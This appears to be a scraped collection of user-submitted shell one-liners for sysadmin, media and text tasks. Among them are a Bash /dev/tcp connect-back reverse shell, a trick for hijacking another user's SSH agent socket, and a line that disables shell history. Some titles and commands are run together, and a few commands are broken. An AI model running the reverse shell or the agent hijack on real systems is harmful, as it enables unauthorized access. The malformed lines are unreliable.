# Open a Remote Desktop (RDP) session with a custom resolution.
mstsc /w:1500 /h:900 /v:www.example.com
# Multiline Search/Replace with Perl
perl -i -pe 'BEGIN{undef $/;} s/START.*?STOP/replace_string/smg' file_to_change
# translate what is in the clipboard in english and write it to the terminal
curl -s "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6
# Copy files based on extension with recursive and keeping directory structure
rsync -rv --include '*/' --include '*.jar' --exclude '*' srcDir desDir
# Ride another SSH agent
export SSH_AUTH_SOCK=`find /tmp/ssh* -type s -user [user] -mtime -1 | head -1`
# shorten url using curl, sed and is.gd
curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/'
# random xkcd comic as xml
curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
# Display error pages in report format
sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' | sort | uniq -c
# Get size of terminal
alias termsize='echo $COLUMNS x $LINES'
# Find out my Linux distribution name and version
cat /etc/*-release
# Delete All Objects From An S3 Bucket Using S3cmd
s3cmd ls s3://bucket.example.com | s3cmd del `awk '{print $4}'`
# Link a deep tree of files all into on directory
find /deep/tree/ -type f -print0|xargs -0 -n1 -I{} ln -s '{}' .
# Step#2 Create a copy of the bootload and partition table!
dd if=/dev/sda of=/home/sam/MBR.image bs=512 count=1
# list all file extensions in a directory
ls | grep -Eo "\..+" | sort -u
# let the cow suggest some commit messages for you
curl -s http://whatthecommit.com/index.txt | cowsay
# convert ascii string to hex
xxd -p <<< <STRING>
# share internet connection with only one network interface
ifconfig eth0:1 192.168.0.1/24
# Generic shell function for modifying files in-place
inplace() { eval F=\"\$$#\"; "$@" > "$F".new && mv -f "$F".new "$F"; }
# Count TCP States From Netstat
netstat -an | awk '/tcp/ {print $6}' | sort | uniq -c
# apt-get upgrade with bandwidth limit
sudo apt-get -o Acquire::http::Dl-Limit=20 -o Acquire::https::Dl-Limit=20 upgrade -y
# Convert mkv to SVCD/DivX
ffmpeg -i movie.mkv -target vcd movie.avi
# tar a directory and send it to netcat
tar cfvz - /home/user | netcat -l -p 10000
# retrieve the source address used to contact a given host
python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null
# add a ip address to a network device
ip addr add 192.168.10.1/24 dev eth0
# Convert a string to
python -c "print 'this is a test'.title()"
# archlinux: check which repository packages have updates available
pacman -Qu
# Get MX records for a domain
host -t mx foo.org
# colorize comm output
comm file1 file2 | sed -e 's/^[^\t].*/\x1b[33m&\x1b[0m/' -e 's/^\t[^\t].*/\x1b[36m&\x1b[0m/' -e 's/^\t\t[^\t].*/\x1b[32m&\x1b[0m/'
# find available cpu frequencies on FreeBSD
sysctl dev.cpu.0.freq_levels
# Directory bookmarks
bm() { export BM${1?"bookmark name missing"}="$PWD" ; }; forget() { unset BM${1?"bookmark name missing"} ; }
# bash or tcsh redirect both to stdout and to a file
echo "Hello World." | tee -a hello.txt
# list all opened ports on host
time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; }
# remove oprhan package on debian based system
sudo deborphan | xargs sudo apt-get -y remove --purge
# Turns hidden applications transparent in the Mac OS X dock.
defaults write com.apple.Dock showhidden -bool YES
# MoscowML with editable input-line and history
rlwrap mosml
# Get first Git commit hash
git log --pretty=format:%H | tail -1
# List only locally modified files with CVS
cvs -Q status | grep -i locally
# find files containing text
grep -lir "sometext" * > sometext_found_in.log
# converting vertical line to horizontal line
tr '\n' '\t' < inputfile
# Count the number of man pages per first character (a-z)
for i in {a..z} ; do man -k $i |grep -i "^$i" |wc | awk 'BEGIN { OFS = ":"; ORS = "" }{print $1, "\t"}' && echo $i ;done
# List files with quotes around each filename
ls | sed 's,\(.*\),"\1",'
# Get a Bulleted List of SVN Commits By a User for a Specifc Day (Daily Work Log
)svn log -r '{YYYY-MM-DD}:{YYYY-MM-DD}' | sed -n '1p; 2,/^-/d; /USERNAME/,/^-/p' | grep -E -v '^(r[0-9]|---|$)' | sed 's/^/* /g'
# Backup your LDAP
slapcat -n 1 > /backup/`date "+%Y%m%d"`.ldif
# Quick find function
quickfind () { find . -maxdepth 2 -iname "*$1*" }
# Right-align text in console using pipe like ( command | right )
$ right(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})));echo "$(while ((j-->0)); do printf " ";done;)$l";done;}; ls --color=none / | right
# Print unique ipaddresses as they come in from Apache Access Log File
tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}'
# Replace spaces in a file with hyphens
sed -i 's/ /-/g' *
# get stdout to variable and stdout at sametime
{ var="$( ls / | tee >(cat - >&2) )"; } 2>&1; echo -e "*** var=$var"
# find files beginning with filename* that do not include "string"
grep -L "string" filename*
# A signal trap that logs when your script was killed and what other processes w
ere running at that timetrap "echo \"$0 process $$ killed on $(date).\" | tee ${0##*/}_$$_termination.log; echo 'Active processes at the time were logged to ${0##*/}_$$_termination.log'; ps u >> ${0##*/}_$$_termination.log; exit " HUP INT QUIT ABRT TERM STOP
# Get all IPs via ifconfig
ifconfig | awk -F':| +' '/ddr:/{print $4}'
# Searches $PATH for files using grep
IFS=:; find $PATH | grep pattern
# Change wallpaper
feh --bg-scale /path/to/wallpaper.jpg
# to see about php configure
$php_dir/bin/php -i | grep configure
# Change the console keyboard layout
loadkeys uk
# Arch Linux sort installed packages by size
pacman -Qi $(pacman -Qq)|grep 'Name\|Size'| cut -d: -f2 | paste - - | column -t | sort -nk2
# Recursive replace of directory and file names in the current directory.
find . *oldname* | grep oldname | perl -p -e 's/^(.*)(oldname)(.*$)/mv $1$2$3 $1newname$3/' | sh
# Take a file as input (two columns data format) and sum values on the 2nd colum
n for all lines that have the same value in 1st columnawk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file
# Check whether laptop is running on battery or cable
acpi -a
# apt-get upgrade with bandwidth limit
trickle sudo apt-get update -y
# find files ignoring .svn and its decendents
find . -type f ! -iwholename \*.svn\* -print0 [ | xargs -0 ]
# Get your external IP address
curl http://my-ip.cc/host.txt
# Display / view the contents of the manifest within a Java jar file
$ unzip -p some-jar-file.jar META-INF/MANIFEST.MF
# Function to split a string into an array
Split() { eval "$1=( \"$(echo "${!1}" | sed "s/$2/\" \"/g")\" )"; }
# See all the commits for which searchstring appear in the git diff
git log -p -z | perl -ln0e 'print if /[+-].*searchedstring/'
# Check if the Debian package was used since its installation/upgrade.
package=$1; list=/var/lib/dpkg/info/${package}.list; inst=$(stat "$list" -c %X); cat $list | (while read file; do if [ -f "$file" ];then acc=$(stat "$file" -c %X); if [ $inst -lt $acc ]; then echo used $file; exit 0; fi; fi; done; exit 1)
# find files ignoring .svn and its decendents
find . -type d -name .svn -prune -o -type f -print0 | xargs -r0 ...
# Basic port scanner perl
perl -MIO::Socket::INET -e '{ print "PORT 22 is open\n" if ( IO::Socket::INET->new(PeerAddr=>"127.0.0.1:22",Proto=>'tcp',Timeout=>1)) ;}'
# convert wmv into xvid avi format
mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts fixed_quant=4 Foo.wmv -o Bar.avi
# Trim png files in a folder
mogrify -trim *png
# list services running (as root)
service --status-all | grep running
# Have netcat listening on your ports and use telnet to test connection
SERVER: nc -l p 666 CLIENT: telnet -l -p 666
# GZip all files in a directory separately
ls | xargs -n1 gzip
# DVD-Rip
mplayer dvd://1 -dumpstream -alang es -dumpfile "$dirDestino"/"$tituloDVD".mpg && ffmpeg -i "$dirDestino/$tituloDVD.mpg" -acodec libmp3lame -alang spa -vcodec libx264 -crf 26 -vpre hq -threads 0 "$dirDestino/$tituloDVD.mp4"
# add a backup (or any other) suffix to a file
mv -vi file{,~}
# GZip all files in a directory separately
gzip *
# Copy a file using dc3dd and watch its progress (very nice alternative to dd)
dc3dd progress=on bs=512 count=2048 if=/dev/zero of=/dev/null
# get detailed info about a lan card on HP-UX 11.31
nwmgr -q info -c lan0
# Check the package is installed or not. There will show the package name which
is installed.dpkg -l | cut -d' ' -f 3 | grep ^python$
# View a sopcast stream
(sp-sc sop://broker.sopcast.com:3912/6002 3900 8900 &>/dev/null &); sleep 10; mplayer http://localhost:8900/tv.asf
# Terminal Escape Code Zen - Strace and Tput
termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';}
# find all active IP addresses in a network
ping -c2 192.168.1.255 >/dev/null; arp -a
# Number of CPU's in a system
grep -c ^processor /proc/cpuinfo
# Compress a file or directory keeping the owner and permissions
tar -jcvf /folder/file.tar.bz2 --same-owner --same-permissions /folder/
# Using scapy to get the IP of the iface used to contact local gw (i.e. supposed
host IP)python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]"
# Execute a command before display the bash prompt
PROMPT_COMMAND=command
# Get listening ports on a localhost
ss -ln | awk '$3~/([0-9]+)/{print $3}' | sed 's/.*\:\([0-9]\+\)$/\1/'
# strace like SystemTap script
stap -v strace.stp -c /path/to/command
# Recursive replace of directory and file names in the current directory.
for i in `find -name '*oldname*'`; do "mv $i ${i/oldname/newname/}"; done
# Cleanup firefox's database.
find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
# List users with running processes
ps aux | sed -n '/USER/!s/\([^ ]\) .*/\1/p' | sort -u
# Email yourself a quick message
mailme(){ mailx -s "$@" $USER <<< "$@"; }
# List open sockets protocol/address/port/state/PID/program name
sudo netstat -punta
# Pipe a textfile to vim and move the cursor to a certain line
zcat /usr/share/doc/vim-common/README.gz | vim -g +23 -
# Use vi commands to edit your command lines
set -o vi; ls -l jnuk<ESC>bCjunk
# Create a directory and go inside it
mkdir dir; cd $_
# Kill multiple instances of a running process
killall -9 rouge-process
# Rotate a pdf by 90 degrees CW
pdftk input.pdf cat 1-endE output output.pdf
# Get the SUM of visual blocked digits in vim
vmap <c-a> y:$<CR>o<Esc>map<Esc>:'a,$!awk '{sum+=$0}END{print "SUM:" sum}'<CR>dd'>p
# Sort a character string
echo sortmeplease | grep -o . | sort | tr -d '\n'; echo
# How to check network connection from one interface
ping -I eth0 www.yahoo.com
# save a manpage to plaintext file
man -P cat ls > man_ls.txt
# Adding specific CustomLog for each Virtual Domain of Apache
for arquivo in `ls -1` ; do sed -i '/ErrorLog/a\ \ \ \ \ \ \ \ CustomLog \/var\/log\/apache2\/access_'"$file"'_log combined' /root/site-bak/${file} ; done
# Get duration of an audio file in seconds.
get_duration() { durline=$(sox "$1" -n stat 2>&1|grep "Length (seconds):");echo ${durline#*\: }; }
# Bypass 1000 Entry limit of Active Directory with ldapsearch
ldapsearch -LLL -H ldap://${HOST}:389 -b 'DC=${DOMAIN},DC=${TLD}' -D '${USER}' -w 'password' objectclass=* -E pr=2147483647/noprompt
# Determine next available UID
awk -F: '{uid[$3]=1}END{for(x=500; x<=600; x++) {if(uid[x] != ""){}else{print x; exit;}}}' /etc/passwd
# Best option set for 7zip compression of database dumps or generic text files
7zr a -mx=9 -ms=on -mhc=on -mtc=off db_backup.sql.7z db_dump.sql
# Ask user to confirm
Confirm() { echo -n "$1 [y/n]? " ; read reply; case $reply in Y*|y*) true ;; *) false ;; esac }
# m4a to mp3 conversion with ffmpeg and lame
ffmpeg -i input.m4a -acodec libmp3lame -ab 128k output.mp3
# Show word-by-word differences between two latex files, in color
dwdiff -c a.tex b.tex | less -R
# Extract audio from a video
ffmpeg -i input.mp4 -vn -acodec copy output.m4a
# Show directories
ls -l | grep ^d
# count how many cat processes are running
ps -a | grep -c cat
# Apply fade effect to a audio
sox input.mp3 output.mp3 fade h 5 00:02:58 5
# socat TCP-LISTEN:5500 EXEC:'ssh user@remotehost "socat STDIO UNIX-CONNECT:/var
/run/mysqld/mysqld.sock"'Tunnel a MySQL server listening on a UNIX socket to the local machine
# find distro name / release version
$ cat /etc/*-release
# Combine two mp3's or more into 1 long mp3
cat 1.mp3 2.mp3 > combined.mp3
# Last month
LASTMONTH=`date -d "last month" +%B`
# Cleanup debian/ubuntu package configurations
dpkg -l |grep ^rc |awk '{print $2}' |xargs sudo dpkg --purge
# Tell what is encoded in a float, given its HEX bytes
dc -e"16i?dsH0sq2d17^ss8^dse2/1-stdlsle*/2*2B+an[[ FP Indef.]n]sQ[dls2//2%_2*53+an[NaN]ndle4*1-ls2/*=Q2Q]sN[1sqdls%0<N[oo]n]sMdls/le%dsdle1-=M[[]pq]sPlq1=P[r+0]s0ldd1r0=0lHls%rls*+sS2r^Alt4*^*lS*2lt^/ls/dsSZlt4*-1-sFlsZ1+klSdArZ1-^/dn0=P[e]nlFp"
# Split huge file into DVD+R size chunks for burning
split -b 4700000000 file.img.gz file.img.gz.
# Read funny developer comments in the Linux source tree
grep -2riP '\b(fuck|shit|bitch|tits|ass\b)' /usr/src/linux/
# Perform a C-style loop in Bash.
for (( i = 0; i < 100; i++ )); do echo "$i"; done
# Send remote command output to your local clipboard
command | ssh myHost xsel -i --display :0
# Perl Command Line Interpreter
perl -dwe 1
# Find your graphics chipset
lspci |grep VGA
# gpg decrypt several files
gpg --allow-multiple-messages --decrypt-files *
# Remote mysql dump all databases with ssh
mysqldump -u user -p --all-databases | ssh user@host dd of=/opt/all-databases.dump
# Delete specific remote 'origin' branch 'gh-pages'
git push origin :gh-pages
# Compose 2 images to 1
composite -geometry 96x96+250+70 foreground.jpg background.jpg image.jpg
# List empty any directories
ls -ld **/*(/^F)
# Connect-back shell using Bash built-ins
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
# Test python regular expressions
rgx_match() { python -c "import re; print re.search('$1','$2').groups()"; }
# Show available conversions
recode -l |less
# disable history for current shell session
HISTFILE=/dev/null
# Pull git submodules in parallel using GNU parallel
parallel -j4 cd {}\; pwd\; git pull :::: <(git submodule status | awk '{print $2}')
# converts a directory full of source tarballs into a bzr repository so you can
compare different versions easilybzr init .;for file in `ls *.bz2`; do bzr import $file; bzr ci -m $file; done
# Show every subdirectory (zsh)
ls -ld **/*(/)
# Top ten memory hogs
ps -eorss,args | sort -nr | pr -TW$COLUMNS | head
# Set gnome wallpaper to a random jpg from the specified directory
gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`"
# download the contents of a remote folder in the current local folder
wget -r -l1 -np -nd http://yoururl.com/yourfolder/
# Use md5sum to check your music and movie files. Also use diff.
find . -type f -exec md5sum {}\; > <filename>
# Watch and cat the last file to enter a directory
watch "cat `ls -rcA1 | tail -n1`"
# debian/ubuntu get installed nvidia driver version from terminal
dpkg --status nvidia-current | grep Version | cut -f 1 -d '-' | sed 's/[^.,0-9]//g'
# To find the LDAP clients connected to LDAP service running on Solaris
netstat -n -f inet|awk '/\.389/{print $2}'|cut -f1-4 -d.|sort -u
# Adding Color Escape Codes to global CC array for use by echo -e
declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done
# dump the whole database
mysqldump -u UNAME -p DBNAME > FILENAME
# Greets the user appropriately
echo "12 morning\n15 afternoon\n24 evening" |while read t g; do if [ `date +%H` -lt $t ]; then echo "Good $g"; break; fi; done
# ssh X tunneling over multiple ssh hosts (through ssh proxy)
ssh -t -X -A user@sshproxy ssh -X -A user@sshhost
# Count lines of source code excluding blank lines and comments
sloccount <directory>
# return a titlecased version of the string[str.title() in python]
title() { sed 's/\<\w*/\u&/g' <<<$@; }
# This allows you to find a string on a set of files recursivly
grep -rF --include='*.txt' stringYouLookFor *
# print a python-script (or any other code) with syntax-highlighting and no loss
of indentationa2ps -R --columns=1 -M A4 myprog.py -o - |lpr
# Count all the files in the directory and child directories
ls -d */* | wc -l
# View internet connection activity in a browser
lsof -nPi | txt2html > ~/lsof.html | gnome-open lsof.html
# Encode text in Base64 using Perl
perl -e 'use MIME::Base64; print encode_base64("encode me plz");'
# Url Encode
echo "$@" | sed 's/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s/'\''/%27/g;s/(/%28/g;s/)/%29/g;s/:/%3A/g'
# Bulk renames with find, sed and a little escaping
find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`"' \;
# find out zombie process
ps aux | awk '{ print $8 " " $2 " " $11}' | grep -w Z
# Clean the /boot directory
rpm -q kernel-2* | grep -v $(uname -r) | xargs yum erase -y
# Join a folder full of split files
for file in *.001; do NAME=`echo $file | cut -d. -f1,2`; cat "$NAME."[0-9][0-9][0-9] > "$NAME"; done
# Send a local file via email
echo "see attached file" | mail -a filename -s "subject" email@address
# Find all files containing a word
find . -name "*.php" | xargs grep -il searchphrase
# dump the whole database
mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE
# Dump snapshot of UFS2 filesystem, then gzip it
dump -0Lauf - /dev/adXsYz | gzip > /path/to/adXsYz.dump.gz
# CLI Visual Apache Web Log Analyzer
goaccess -f /var/log/apache2/access.log -s -b
# Summarize the number of open TCP connections by state
netstat -nt | awk '{print $6}' | sort | uniq -c | sort -n -k 1 -r
# Display formatted routes
routel
# validate xml in a shell script using xmllint
xmllint --noout some.xml 2>&1 >/dev/null || exit 1
# Find all files containing a word
grep -rHi searchphrase *.php
# Url Encode
uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i | grep -q '[a-zA-Z0-9/.:?&=]' && echo -n "$i" || printf %%%x \'"$i" done }
# Count the frequency of every word for a given file
cat YOUR_FILE|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort -rn
# Update Ogg Vorbis file comments
for f in *.ogg; do vorbiscomment -l "$f" | sed 's/peter gabriel/Peter Gabriel/' | vorbiscomment -w "$f"; done
# Access partitions inside a LVM volume
kpartx -a /dev/mapper/space-foobar
# split a file by a specific number of lines
csplit -k my_file 500 {*}
# Get IP from hostname
ping -c 1 google.com | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
# Clean all .pyc files from current project. It cleans all the files recursively
.find . -type f -name "*.pyc" -delete;
# Mac OS X - List all of my machine's IP addresses
ifconfig | awk '/inet / {print $2}'
# Less a grep result, going directly to the first match in the first file
argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`
# Copy files to a remote host with SFTP with a leading dot, then rename them to
the real file namesftp-cp() { for each in "$@"; do echo "put \"$each\" \".$each\""; echo "rename \".$each\" \"$each\""; done };
# Update twitter with curl
tweet(){ update=$(echo $*); [ ${#update} -lt 141 ] && curl -su user:pass -d source=curl -d status="$update" http://twitter.com/statuses/update.xml ->/dev/null || echo $(( ${#update} - 140 )) too many characters >&2; }
# Fire CMD every time FILE (or directory) is updated (on *BSD)
f="FILE";c="CMD";s="stat -f %m $f";t=`$s`;while [ 1 ];do if [ $t -eq `$s` ];then sleep 1;else echo `$c`;t=`$s`;fi;done
# find/edit your forgotten buddy pounces for pidgin
vim ~/.purple/pounces.xml
# Show battery infomations for OS X 10.5.x
system_profiler SPPowerDataType | egrep -e "Connected|Charge remaining|Full charge capacity|Condition" | sed -e 's/^[ \t]*//'
# Function to output an ASCII character given its decimal equivalent
chr() { printf \\$(printf %o $1); }
# add an mp3 audio track to a video
mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile Your_Audio_track.mp3 -o Output_File.avi
# ps for windows
wmic process list IO
# List Threads by Pid along with Thread Start Time
ps -o pid,lwp,lstart --pid 797 -L
# set your screensaver as your desktop background MAC OSX
/System/Library/Frameworks/ScreenSaver.framework/Resources/ScreenSaverEngine.app/Contents/MacOS/ScreenSaverEngine -background &
# Find out when your billion-second anniversary is (was).
date -d12/31/1970+1000000000sec
# Short Information about loaded kernel modules
lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'
# convert video format to youtube flv format
ffmpeg -i Your_video_file -s 320x240 FILE.flv
# Quick searching with less
zcat file.gz | less +/search_pattern
# Watch RX/TX rate of an interface in kb/s
while cat /proc/net/dev; do sleep 1; done | awk '/eth0/ {o1=n1; o2=n2; n1=$2; n2=$10; printf "in: %9.2f\t\tout: %9.2f\r", (n1-o1)/1024, (n2-o2)/1024}'
# Get My Public IP Address
curl -s http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
# Grab mp3 files from your favorite netcasts, mp3blog, or sites that often have
good mp3swget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off -i ~/sourceurls.txt
# Run a bash script in debug mode, show output and save it on a file
bash -x test.sh 2>&1 | tee out.test
# calulate established tcp connection of local machine
netstat -an | grep -Ec '^tcp.+ESTABLISHED$'
# Function to output an ASCII character given its decimal equivalent
chr () { echo -en "\0$(printf %x $1)"}
# Log colorizer for OSX (ccze alternative)
tail -f /var/log/system.log | colorizer
# Get information on your graphics card on linux (such as graphics memory size)
lspci -v -s `lspci | awk '/VGA/{print $1}'`
# Perl one-liner to determine number of days since the Unix epoch
perl -e 'printf qq{%d\n}, time/86400;'
# apt-get via sudo
apt-get () { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" }
# Send test prints to networked printer.
echo "test" | lp -d $PRINTER
# View an info page on a nice interface
yelp info:foo
# Install an mpkg from the command line on OSX
sudo installer -pkg /Volumes/someapp/someapp.mpkg -target /
# List all installed Debian packages
dpkg --get-selections | grep -v deinstall | cut -f 1
# get the ascii number with bash builtin printf
printf "%d\n" "'A" "'B"
# move all files older than 60 days to a folder
find ./* -mtime +60 -exec mv {} storeFolder \;
# Are the two lines anagrams?
anagram(){ s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s $1) <(s $2)||echo -n "not ";echo anagram; }; anagram foobar farboo;
# cd into the latest directory
alias cd1='cd $( ls -lt | grep ^d | head -1 | cut -b 51- )'
# Find out when your billion-second anniversary is (was). (on OS X)
date -j -v +1000000000S -f %m%d%Y mmddyyyy
# Display IP adress of the given interface in a most portable and reliable way.
That should works on many platforms.x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
# For finding out if something is listening on a port and if so what the daemon
is.sockstat -4l
# To get the CPU temperature continuously on the desktop
while sleep 1; do acpi -t | osd_cat -p bottom; done &
# change microdvd subtitles framerate
cat subtitles.txt | perl -pe 's/} /}/g; s/{(\d+)}/=1=/; $f1=(24/25*$1); s/{(\d+)}/=2=/; $f2=(24/25*$1); $f1=~s/\..*//; $f2=~s/\..*//; s/=1=/{$f1}/; s/=2=/{$f2}/; ' > subtitles_newfps.txt
# Find out when your billion-second anniversary is (was).
date -j -v +1000000000S -f %m%d%Y mmddYYYY
# Get decimal ascii code from character
echo -n a | od -d | sed -n "s/^.* //gp"
# Short Information about loaded kernel modules
lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d
# Easily decode unix-time (funtion)
utime(){ date -d "1970-01-01 GMT $1 seconds"; }
# find the biggest file in current folder
ls -S|head -1find
# Find Out My Linux Distribution Name and Version
lsb_release -ri
# Watch YouTube and other Flash videos via mplayer (or whatever)
mplayer $(ls -t /tmp/Flash*|head -1)
# txt2html
recode ..HTML < file.txt > file.html
# bash/ksh function: given a file, cd to the directory it lives
function fcd () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ; } pwd }
# Search for a <pattern> string inside all files in the current directory
find . -type f -exec grep -i <pattern> \;
# rotate the compiz cube via command line
wmctrl -o 1280,0
# Create commands to download all of your Google docs
google docs list |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ docs\ get\ /|awk ' {print $0,"."}'
# Set OS X X11 to use installed Mathematica fonts
xset fp+ /Applications/Mathematica.app/SystemFiles/Fonts/Type1/
# Real time duplication of Apache app traffic to a second server
nice -n -20 ssh SOURCE_SERVER "tail -f /var/log/httpd/access.log " | awk '{print $7}' | grep jsp | parallel 'curl TARGET_SERVER{} 2>&1 /dev/null'
# Text to image with transparent background
convert -background none -pointsize 55 label:"`whoami`" me.png
# Throttling Bandwidth On A Mac
sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80
# Access to specific man page section
man 5 crontab
# Search for a <pattern> string inside all files in the current directory
ack <pattern>
# Testing hard disk writing speed
time dd if=/dev/zero of=TEST bs=4k count=512000
# Easily decode unix-time (funtion)
utime(){ python -c "import time; print(time.strftime('%a %b %d %H:%M:%S %Y', time.localtime($1)))"; }
# Print all environment variables, including hidden ones
for _a in {A..Z} {a..z};do _z=\${!${_a}*};for _i in `eval echo "${_z}"`;do echo -e "$_i: ${!_i}";done;done|cat -Tsv
# log rm commands
function rm { workingdir=$( pwdx $$ | awk '{print $2}' ) /usr/bin/rm $* echo "rm $* issued at $(date) by the user $(who am i| awk '{print $1} ') in the directory ${workingdir}" >> /tmp/rm.out }
# Text message on wallpaper
wallpaperWarn() { BG="/desktop/gnome/background/picture_filename"; convert "`gconftool-2 -g $BG`" -pointsize 70 -draw "gravity center fill red text 0,-360 'Warn' fill white text 0,360 'Warn'" /tmp/w.jpg; gconftool-2 --set $BG -t string "/tmp/w.jpg"; }
# Search for a <pattern> string inside all files in the current directory
grep -r <pattern> * .[!.]*
# Show numerical values for each of the 256 colors in ZSH
for code in {000..255}; do print -P -- "$code: %F{$code}Test%f"; done
# Convert ascii string to hex
echo "text" | hd
# Kill all Zombie processes if they accept it!
kill -9 `ps -xaw -o state -o pid | grep Z | grep -v PID | awk '{print $2}'`
# Find Out My Linux Distribution Name and Version
cat /etc/issue
# Get rid from a blank display without reboot
<Ctrl><Alt><F6> killall5
# Quick syntax highlighting with multiple output formats
$ python -m pygments -o source.html source.py
# Clone /
find . -path ./mnt -prune -o -path ./lost+found -prune -o -path ./sys -prune -o -path ./proc -prune -o -print | cpio -pumd /destination && mkdir /destination/mnt/ && mkdir /destination/proc && mkdir /destination/sys
# cd into another dir to run a one-liner, but implicitly drop back to your $OLD_
PWD after( cd $DIR; command; )
# burn backed up xbox 360 games
growisofs -use-the-force-luke=dao -use-the-force-luke=break:1913760 -dvd-compat -speed=2 -Z /dev/cdrom=XBOX360GAMEHERE.iso
# Delete more than one month old thumbnails from home directory
find ~/.thumbnails/ -type f -atime +30 -print0 | xargs -0 rm
# bash function to check for something every 5 seconds
function checkfor () { while :; do $*; sleep 5; done; }
# Normalize volume in your mp3 library
find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +
# watch snapshots commit in VMware ESX
watch 'ls -tough --full-time *.vmdk'
# tar pipe to copy files, alternate to cp -Ra
(cd /orignl/path tar -cf - . ) | (cd /dst/dir;tar -xvf -)
# Compare copies of a file with md5
diff <(md5sum render_pack.zip| cut -d " " -f 1) <(md5sum /media/green/render_pack.zip| cut -d " " -f 1);echo $?
# Doing some floating point calculations with rounding (e.g. at the 3rd decimal)
echo '123/7' |bc -l |xargs printf "%.3f\n"
# Open Vim with two windows
vim -c new myfile
# recursive transform all contents of files to lowercase
find . -type f -print0 | xargs -0 perl -pi.save -e 'tr/A-Z/a-z/'
# Random IPv4 address
perl -e 'printf join(".", ("%d")x4 ), map {rand 256} 1..4;'
# List all Samba user name
pdbedit -w -L | awk -F":" '{print $1}'
# find files in a date range
touch -t 201001010000 begin; touch -t 201012312359.59 end; find . -newer begin -a ! -newer end
# Show the last 20 sessions logged on the machine
last -n 20
# Watching Command
watch 'cat /proc/loadavg'
# monitor system load
tload -s 10
# Get length of current playlist in xmms2
xmms2 list | sed -n -e '1i\0' -e 's/^.*(\([0-9]*\):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op' | dc | sed -e 's/^ *//' -e 's/ /:/g'
# Add all unversioned files to svn
svn st | awk '{if ($1 ~ "?") print $2}' | xargs svn add
# find file/dir by excluding some unwanted dirs and filesystems
find . -xdev -path ./junk_dir -prune -o -type d -name "dir_name" -a -print
# Automatically connect to a host with ssh once it is online
var=host ;while ! nc -zw 1 $var 22;do sleep 1; done ; ssh user@$var
# Mount a windows partition in a dual boot linux installation with write permiss
ion...[Read and Write]mount -o -t ntfs-3g /dev/sda1 /mnt/windows/c force
# Resolve a list of domain names to IP addresses
awk < file.name '{ system("resolveip -s " $1) }'
# Battery real life energy vs predicted remaining plotted
echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt'
# Encoding from AVI to MPEG format
mencoder input.avi -of mpeg -ovc lavc -lavcopts vcodec=mpeg1video \ -oac copy other_options -o output.mpg
# Watch the progress of 'dd'
dcfldd if=/dev/zero of=/dev/null
# Find the location of the currently loaded php.ini file
php --ini
# Solaris - check ports/sockets which process has opened
/usr/proc/bin/pfiles $PID | egrep "sockname|port"
# Testing reading speed with dd
sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`
# Mostly silent FLAC checking (only errors are displayed)
flac -ts *.flac
